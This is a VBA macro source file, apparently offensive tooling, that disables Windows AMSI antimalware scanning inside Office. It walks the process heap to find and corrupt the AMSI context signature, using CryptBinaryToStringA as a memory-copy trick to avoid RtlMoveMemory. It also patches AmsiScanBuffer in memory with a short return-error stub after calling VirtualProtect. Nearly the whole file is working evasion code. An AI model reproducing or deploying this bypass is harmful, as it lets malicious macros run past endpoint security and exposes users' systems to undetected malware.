amsiByPassNoRTLMoveMemory.vba

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type


Private Type PROCESS_HEAP_ENTRY
    lpData As Long
    cbData As Long
    bOverhead As Byte
    iRegionIndex As Byte
    wFlagsLow As Byte
    wFlagsHigh As Byte
    tmp1 As Long
    tmp2 As Long
    tmp3 As Long
    tmp4 As Long
    tmp5 As Long
    tmp6 As Long
    tmp7 As Long
    tmp8 As Long
End Type


#If VBA7 Then
    Private Declare PtrSafe Function GetHeap Lib "kernel32" Alias "GetProcessHeap" () As Long
    Private Declare PtrSafe Function GetHeapHandles Lib "kernel32" Alias "GetProcessHeaps" (ByVal numHeaps As Long, ByRef HeapHandles As Any) As Long
    Private Declare PtrSafe Function MoonWalk Lib "kernel32" Alias "HeapWalk" (ByVal heapHandle As LongPtr, ByRef phEntry As Any) As Integer
    Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare PtrSafe Function ToString Lib "Crypt32" Alias "CryptBinaryToStringA" (Source As Any, NumBytes As Long, Flags As Long, Destination As Any, bytesWritten As Any) As Long
#Else
    ' empty
#End If


'source: https://idafchev.github.io/

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub triggerAMSI()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    
End Sub

Sub mainStuff()
    killAmsi
    triggerAMSI
    MsgBox "we survived"
End Sub


Sub killAmsi()

    Dim heapHandle As Long
    Dim numHandles As Long
    Dim phe As PROCESS_HEAP_ENTRY

   
    Dim bytesWritten As Long
    bytesWritten = &HDEADBEEF
   
    
    ' fetch initial process heap entry
    phe.lpData = 0
    numHandles = GetHeapHandles(1, heapHandle)
    Debug.Print "our heap handle is: " & Hex(heapHandle)
       
    retVal = MoonWalk(heapHandle, phe)
      
    Dim count As Long
    Dim magicWord As Long
    Dim size As Long
    count = 0
    Dim i As Long
    
    Dim startTime As Single
    startTime = Timer()
    
    Do While MoonWalk(heapHandle, phe) <> 0
        count = count + 1
        If ((phe.wFlagsLow And &H4) <> 0) And (1 = 1) Then
            
            magicWord = &HDEADBEEF
            ToString ByVal phe.lpData, ByVal 4, ByVal 2, ByVal VarPtr(magicWord), ByVal VarPtr(bytesWritten)
            ' is there some VBA native method we can use here?!?1eleveneleven
            'CopyMem ByVal VarPtr(magicWord), ByVal phe.lpData, 4
            If magicWord = &H49534D41 Then
                Debug.Print "gotcha at address: " & Hex(phe.lpData) & " length: " & phe.cbData & " PHE nr: " & count
                ' mess it up and copy it back
                magicWord = &HDEADBEEF
                'CopyMem ByVal phe.lpData, ByVal VarPtr(magicWord), 4
                ToString ByVal VarPtr(magicWord), ByVal 4, ByVal 2, ByVal phe.lpData, ByVal VarPtr(bytesWritten)
                GoTo ende
            End If
            ' Debug.Print "Iteration: " & count
        End If
    Loop
    
    Debug.Print "Magic word not found?! is he already dead?"
    Debug.Print "Iterated phes: " & count
    
ende:
    Dim endTime As Single
    endTime = Timer()
    Dim runTime As Single
    runTime = endTime - startTime
    Debug.Print "runtime: " & runTime
End Sub